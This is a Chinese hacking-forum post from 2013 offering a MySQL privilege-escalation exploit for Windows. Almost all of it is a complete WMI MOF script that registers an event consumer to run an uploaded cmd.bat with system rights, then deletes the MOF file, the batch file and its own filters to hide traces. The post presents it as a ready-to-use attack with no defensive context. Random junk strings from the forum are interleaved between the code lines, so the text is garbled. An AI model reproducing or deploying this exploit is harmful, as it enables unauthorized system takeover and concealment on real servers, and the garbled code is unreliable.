中国网络渗透测试联盟
标题:
Mysql 提权即时无错Mof exp
[打印本页]
作者:
admin
时间:
2013-2-14 00:05
标题:
Mysql 提权即时无错Mof exp
这个sql提权MOF需要运行 system下的文件,不能定义路径。
+ I3 z+ z3 F$ A( V. }+ ?
需要将要运行的命令写入到bat上传到system32目录,然后执行。
- j t+ p6 U) r% R* `4 c
. C/ x- x! g3 ~5 Y
这个sql提权MOF需要运行 system下的文件,不能定义路径。
J2 [/ x1 Q6 R! D% `; q; U u
需要将要运行的命令写入到bat上传到system32目录,然后执行。
: s& u1 b5 [6 A' x8 C' t
# h! q* ~$ N& z q: H" X2 N' m
#pragma
* I% R# Y9 c" G
namespace("\\\\.\\root\\cimv2")
* h5 \4 O# P0 k
class
" t9 S" T r4 Q0 T
MyClass547
. g$ q3 O. d* {
{ [key]
# M' @, h7 p3 g0 }2 i& V# K
string
& O% q3 }! J( N) F
Name;
9 B7 T+ N: ]+ d7 [
};
2 f- N1 \( G- J$ g) u
class
; x) l' q2 `) l2 S
ActiveScriptEventConsumer
7 ~) o7 W5 u4 C& z) C% h# e( j
: __EventConsumer { [key]
. X, ^8 ~* s: m: d$ W
string
' i" c$ `* {2 x. F# s
Name; [not_null]
9 P, O8 v' e) E7 P+ U' o% A
string
! }$ f6 n- j$ U7 H
ScriptingEngine; string
/ h& Q2 H6 z9 \- ~! b- o! ~
ScriptFileName; [template]
+ |2 k% J( A( u& S
string
1 O/ X& E6 o$ e9 l6 W
ScriptText; uint32 KillTimeout;
8 t3 y- e1 k, ]
}; instance of __Win32Provider as $P {
$ t r0 [) q; }7 J% f, A
Name
2 y1 V9 V, `' L6 _1 e2 H" N4 {
=
" w4 P: X' O- t1 ^2 E, m: G
"ActiveScriptEventConsumer"; CLSID =
0 L. u% U9 \- W) g* f+ e! u
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";
7 l4 E9 t0 a) J
PerUserInitialization
0 l, O% }' l, [( h. ?5 X
= TRUE;
& D/ w1 E+ m- h7 d \
}; instance of __EventConsumerProviderRegistration { Provider
- y) v4 h+ m! R. }* H' W5 R6 H0 c
= $P; ConsumerClassNames
* K5 T; u1 ~2 o9 J( ~( S5 T
=
% q7 J0 |* Q& L0 y! d# f
{"ActiveScriptEventConsumer"};
4 B1 G" p( {% t
};
9 g2 @; o/ U6 H8 O. E. O
Instance of ActiveScriptEventConsumer
5 j% J% g [: H9 j: E4 |
as $cons { Name
; i+ S, b$ F" `
=
2 o3 n5 ^2 K5 m J! F/ J1 K
"ASEC"; ScriptingEngine
! p' J3 z! M9 K: z
=
8 s0 |% [( W @% ~1 [6 b S
"JScript"; ScriptText
" f; ~4 \ V3 Z% O
=
. P0 U4 V( s2 u0 h" s" ]
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };
, j6 m" l, T5 M- Q5 Z' D( Q
Instance of ActiveScriptEventConsumer
4 p6 u+ I' w, ^; X
as $cons2 { Name
^' ^+ A0 Q4 m( Q9 F9 `' ^
=
) b& r9 n6 x, F+ [
"qndASEC"; ScriptingEngine
Z' ]. K% t9 w! K7 l+ R
=
. X% J. u& [' \/ O6 w2 {6 ~
"JScript"; ScriptText
+ c9 [/ Y% N2 @" Q: [; b( q! u* P8 T
=
1 y+ A c/ P/ z3 U
"\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";
- x6 \1 b2 [6 a3 |
}; instance of __EventFilter as $Filt { Name
0 K5 P- o% L3 n3 f% w `: r
=
3 c* d' X. x9 D* S( [7 \/ ]
"instfilt"; Query
, x- M) n. f/ n
=
3 I+ Y4 k- H3 x' }! P
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
* Q7 b" Y& i4 A/ c+ K- N# Z. W0 h
=
: S% a; G: j( b$ m
"WQL"; }; instance of __EventFilter as $Filt2 { Name
5 c& K5 w# n6 |
=
0 q8 J- @( Q4 u
"qndfilt"; Query
: o& ]6 e4 S. J) |/ K
=
. x' K' ?, T/ @: y; ], Y T4 |& `
"SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
; K: w( u3 B2 L! A
=
C& R8 W( d! o
"WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
6 y2 b0 D6 u1 l$ v) k/ y. P4 |8 x
= $cons; Filter
' G% i) b/ F$ E" \0 \( F
= $Filt;
: s7 Y+ s% o: v* ` e }3 w
}; instance of __FilterToConsumerBinding as $bind2 { Consumer
- a* W7 E/ D0 _- ~
= $cons2; Filter
$ B; g2 j5 ]1 Z' @& `4 [
= $Filt2;
h5 m' |- |" k- ?1 P3 a7 U
}; instance of MyClass547
( B7 w% O$ V1 E8 w% ~. {
as $MyClass { Name
' a+ b V% h- E) n
=
1 h$ C# }3 o$ `1 a2 w$ y" e
"ClassConsumer";
- L; j# B1 \( {! I
};
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2